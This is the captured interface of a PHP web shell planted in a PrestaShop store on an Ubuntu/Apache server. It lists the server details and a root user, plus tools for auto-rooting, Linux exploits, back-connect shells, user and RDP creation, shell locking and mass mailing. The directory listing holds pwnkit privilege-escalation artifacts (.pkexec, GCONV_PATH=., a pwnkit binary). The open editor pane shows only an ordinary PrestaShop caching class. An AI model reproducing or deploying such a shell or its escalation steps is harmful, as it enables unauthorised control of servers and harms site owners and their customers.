Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
tienda /
src /
Adapter /
Cache /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Clearer
[ DIR ]
drwxrwxrwx
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
CacheAdapter.php
1.59
KB
-rwxrwxrwx
CacheClearer.php
3.68
KB
-rwxrwxrwx
CachingConfiguration.php
4.55
KB
-rwxrwxrwx
CombineCompressCacheConfigurat...
7.12
KB
-rwxrwxrwx
MemcacheServerManager.php
3.46
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CachingConfiguration.php
<?php /** * 2007-2019 PrestaShop and Contributors * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2019 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ namespace PrestaShop\PrestaShop\Adapter\Cache; use PrestaShop\PrestaShop\Adapter\Configuration\PhpParameters; use PrestaShop\PrestaShop\Core\Cache\Clearer\CacheClearerInterface; use PrestaShop\PrestaShop\Core\Configuration\DataConfigurationInterface; /** * This class manages Caching configuration for a Shop. */ class CachingConfiguration implements DataConfigurationInterface { /** * @var MemcacheServerManager */ private $memcacheServerManager; /** * @var PhpParameters */ private $phpParameters; /** * @var CacheClearerInterface */ private $symfonyCacheClearer; /** * @var bool check if the caching is enabled */ private $isCachingEnabled; /** * @var string the selected Caching system: 'CacheApc' for instance */ private $cachingSystem; /** * @param MemcacheServerManager $memcacheServerManager * @param PhpParameters $phpParameters * @param CacheClearerInterface $symfonyCacheClearer * @param $isCachingEnabled * @param $cachingSystem */ public function __construct( MemcacheServerManager $memcacheServerManager, PhpParameters $phpParameters, CacheClearerInterface $symfonyCacheClearer, $isCachingEnabled, $cachingSystem ) { $this->memcacheServerManager = $memcacheServerManager; $this->phpParameters = $phpParameters; $this->symfonyCacheClearer = $symfonyCacheClearer; $this->isCachingEnabled = $isCachingEnabled; $this->cachingSystem = $cachingSystem; } /** * {@inheritdoc} */ public function getConfiguration() { return array( 'use_cache' => $this->isCachingEnabled, 'caching_system' => $this->cachingSystem, 'servers' => $this->memcacheServerManager->getServers(), ); } /** * {@inheritdoc} */ public function updateConfiguration(array $configuration) { $errors = array(); if ($this->validateConfiguration($configuration)) { $errors = $this->updatePhpCacheConfiguration($configuration); } return $errors; } /** * {@inheritdoc} */ public function validateConfiguration(array $configuration) { return isset( $configuration['use_cache'], $configuration['caching_system'], $configuration['servers'] ); } /** * Update the Php configuration for Cache feature and system. * * @return array the errors list during the update operation */ private function updatePhpCacheConfiguration(array $configuration) { $errors = array(); if ( $configuration['use_cache'] !== $this->isCachingEnabled && null !== $configuration['caching_system'] ) { $this->phpParameters->setProperty('parameters.ps_cache_enable', $configuration['use_cache']); } if ( null !== $configuration['caching_system'] && $configuration['caching_system'] !== $this->cachingSystem ) { $this->phpParameters->setProperty('parameters.ps_caching', $configuration['caching_system']); } if (false === $this->phpParameters->saveConfiguration()) { $errors[] = array( 'key' => 'The settings file cannot be overwritten.', 'domain' => 'Admin.Advparameters.Notification', 'parameters' => array(), ); } $this->symfonyCacheClearer->clear(); return $errors; } }
Close